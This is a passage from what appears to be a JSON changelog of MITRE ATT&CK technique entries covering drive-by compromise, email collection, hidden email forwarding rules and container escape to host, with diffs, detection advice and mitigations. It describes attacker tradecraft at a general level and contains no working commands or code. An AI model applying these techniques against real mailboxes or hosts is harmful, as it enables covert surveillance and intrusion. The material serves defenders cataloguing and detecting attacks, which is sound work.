\"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n+Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\\n+\\n Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "changelog_mitigations": { "shared": [ "M1056: Pre-compromise" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0004: Malware Repository (Malware Content)", "DS0004: Malware Repository (Malware Metadata)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2018-04-18 17:59:24.739000+00:00", "modified": "2021-07-28 01:37:46.704000+00:00", "name": "Drive-by Compromise", "description": "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple ways of delivering exploit code to a browser exist, including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\nAdversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "initial-access" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1189", "external_id": "T1189" }, { "source_name": "Shadowserver Strategic Web Compromise", "description": "Adair, S., Moran, N. (2012, May 15). Cyber Espionage & Strategic Web Compromises \u2013 Trusted Websites Serving Dangerous Results. Retrieved March 13, 2018.", "url": "http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/" }, { "source_name": "Volexity OceanLotus Nov 2017", "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.", "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)", "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)" ], "x_mitre_data_sources": [ "File: File Creation", "Process: Process Creation", "Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Content", "Application Log: Application Log Content" ], "x_mitre_detection": "Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\n\nNetwork intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\n\nDetecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows", "Linux", "macOS", "SaaS" ], "x_mitre_version": "1.3", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-07-28 01:37:46.704000+00:00\", \"old_value\": \"2020-03-29 23:48:15.056000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\\n\\nNetwork intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\\n\\nDetecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.\", \"old_value\": \"Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\\n\\nNetwork intrusion detection systems, sometimes with SSL/TLS MITM inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\\n\\nDetecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\\n \\n-Network intrusion detection systems, sometimes with SSL/TLS MITM inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\\n+Network intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\\n \\n Detecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", "previous_version": "1.2", "version_change": "1.2 \u2192 1.3", "changelog_mitigations": { "shared": [ "M1021: Restrict Web-Based Content", "M1048: Application Isolation and Sandboxing", "M1050: Exploit Protection", "M1051: Update Software", "T1189: Drive-by Compromise Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0015: Application Log (Application Log Content)", "DS0022: File (File Creation)", "DS0029: Network Traffic (Network Connection Creation)", "DS0029: Network Traffic (Network Traffic Content)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:31:25.454000+00:00", "modified": "2021-10-15 20:19:33.750000+00:00", "name": "Email Collection", "description": "Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients. ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "collection" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1114", "external_id": "T1114" }, { "source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2", "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.", "url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)" ], "x_mitre_data_sources": [ "File: File Access", "Network Traffic: Network Connection Creation", "Logon Session: Logon Session Creation", "Command: Command Execution", "Application Log: Application Log Content" ], "x_mitre_detection": "There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\n\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nDetection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.\n\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include X-MS-Exchange-Organization-AutoForwarded set to true, X-MailFwdBy and X-Forwarded-To. The forwardingSMTPAddress parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows", "Office 365", "Google Workspace", "macOS", "Linux" ], "x_mitre_version": "2.3", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 20:19:33.750000+00:00\", \"old_value\": \"2021-04-14 14:22:44.435000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.3\", \"old_value\": \"2.2\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][3]\": \"macOS\", \"root['x_mitre_platforms'][4]\": \"Linux\"}}", "previous_version": "2.2", "version_change": "2.2 \u2192 2.3", "changelog_mitigations": { "shared": [ "M1032: Multi-factor Authentication", "M1041: Encrypt Sensitive Information", "M1047: Audit", "T1114: Email Collection Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0015: Application Log (Application Log Content)", "DS0017: Command (Command Execution)", "DS0022: File (File Access)", "DS0028: Logon Session (Logon Session Creation)", "DS0029: Network Traffic (Network Connection Creation)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-19 18:54:47.103000+00:00", "modified": "2021-10-15 20:19:33.416000+00:00", "name": "Email Forwarding Rule", "description": "Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "collection" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1114/003", "external_id": "T1114.003" }, { "source_name": "US-CERT TA18-068A 2018", "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A" }, { "source_name": "Pfammatter - Hidden Inbox Rules", "description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.", "url": "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/" }, { "source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2", "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.", "url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/" }, { "source_name": "Mac Forwarding Rules", "description": "Apple. (n.d.). Reply to, forward, or redirect emails in Mail on Mac. Retrieved June 22, 2021.", "url": "https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Microsoft Security", "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)" ], "x_mitre_data_sources": [ "Application Log: Application Log Content" ], "x_mitre_detection": "Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules)\n\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Office 365", "Windows", "Google Workspace", "macOS", "Linux" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 20:19:33.416000+00:00\", \"old_value\": \"2021-03-25 13:08:30.699000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\\n\\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)\", \"old_value\": \"Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook Web App (OWA) allow users to create inbox rules for various email functions, including forwarding to a different recipient. Similarly, Google Workspace users or administrators can set up mail forwarding rules via the Google Workspace web interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) \\n\\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook Web App (OWA) allow users to create inbox rules for various email functions, including forwarding to a different recipient. Similarly, Google Workspace users or administrators can set up mail forwarding rules via the Google Workspace web interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) \\n+Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\\n \\n-Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more.\\n+Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)\"}, \"root['external_references'][2]['source_name']\": {\"new_value\": \"Pfammatter - Hidden Inbox Rules\", \"old_value\": \"Microsoft Tim McMichael Exchange Mail Forwarding 2\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.\", \"old_value\": \"McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/\", \"old_value\": \"https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules)\\n\\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.\", \"old_value\": \"Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.\\n\\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.\\n+Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules)\\n \\n Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['external_references'][3]\": {\"source_name\": \"Microsoft Tim McMichael Exchange Mail Forwarding 2\", \"description\": \"McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.\", \"url\": \"https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/\"}, \"root['external_references'][4]\": {\"source_name\": \"Mac Forwarding Rules\", \"description\": \"Apple. (n.d.). Reply to, forward, or redirect emails in Mail on Mac. Retrieved June 22, 2021.\", \"url\": \"https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac\"}, \"root['x_mitre_contributors'][0]\": \"Microsoft Security\", \"root['x_mitre_platforms'][3]\": \"macOS\", \"root['x_mitre_platforms'][4]\": \"Linux\"}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may setup email forwarding rules to collect senst1Adversaries may setup email forwarding rules to collect sens
>itive information. Adversaries may abuse email-forwarding ru>itive information. Adversaries may abuse email-forwarding ru
>les to monitor the activities of a victim, steal information>les to monitor the activities of a victim, steal information
>, and further gain intelligence on the victim or the victim\u2019>, and further gain intelligence on the victim or the victim\u2019
>s organization to use as part of further exploits or operati>s organization to use as part of further exploits or operati
>ons.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook W>ons.(Citation: US-CERT TA18-068A 2018) Furthermore, email fo
>eb App (OWA) allow users to create inbox rules for various e>rwarding rules can allow adversaries to maintain persistent 
>mail functions, including forwarding to a different recipien>access to victim's emails even after compromised credentials
>t. Similarly, Google Workspace users or administrators can s> are reset by administrators.(Citation: Pfammatter - Hidden 
>et up mail forwarding rules via the Google Workspace web int>Inbox Rules) Most email clients allow users to create inbox 
>erface. Messages can be forwarded to internal or external re>rules for various email functions, including forwarding to a
>cipients, and there are no restrictions limiting the extent > different recipient. These rules may be created through a l
>of this rule. Administrators may also create forwarding rule>ocal email application, a web interface, or by command-line 
>s for user accounts with the same considerations and outcome>interface. Messages can be forwarded to internal or external
>s.(Citation: Microsoft Tim McMichael Exchange Mail Forwardin> recipients, and there are no restrictions limiting the exte
>g 2)   Any user or administrator within the organization (or>nt of this rule. Administrators may also create forwarding r
> adversary with valid credentials) can create rules to autom>ules for user accounts with the same considerations and outc
>atically forward all received messages to another recipient,>omes.(Citation: Microsoft Tim McMichael Exchange Mail Forwar
> forward emails to different locations based on the sender, >ding 2)(Citation: Mac Forwarding Rules)  Any user or adminis
>and more.>trator within the organization (or adversary with valid cred
 >entials) can create rules to automatically forward all recei
 >ved messages to another recipient, forward emails to differe
 >nt locations based on the sender, and more. Adversaries may 
 >also hide the rule by making use of the Microsoft Messaging 
 >API (MAPI) to modify the rule properties, making it hidden a
 >nd not visible from Outlook, OWA or most Exchange Administra
 >tion tools.(Citation: Pfammatter - Hidden Inbox Rules)
", "changelog_mitigations": { "shared": [ "M1041: Encrypt Sensitive Information", "M1047: Audit" ], "new": [ "M1042: Disable or Remove Feature or Program" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0015: Application Log (Application Log Content)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-03-30 17:38:34.277000+00:00", "modified": "2021-10-15 14:59:35.913000+00:00", "name": "Escape to Host", "description": "Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)\n\nThere are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host\u2019s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, or utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open)\n\nGaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1611", "external_id": "T1611" }, { "source_name": "Docker Overview", "description": "Docker. (n.d.). Docker Overview. Retrieved March 30, 2021.", "url": "https://docs.docker.com/get-started/overview/" }, { "source_name": "Docker Bind Mounts", "description": "Docker. (n.d.). Use Bind Mounts. Retrieved March 30, 2021.", "url": "https://docs.docker.com/storage/bind-mounts/" }, { "source_name": "Trend Micro Privileged Container", "description": "Fiser, D., Oliveira, A.. (2019, December 20). Why a Privileged Container in Docker is a Bad Idea. Retrieved March 30, 2021.", "url": 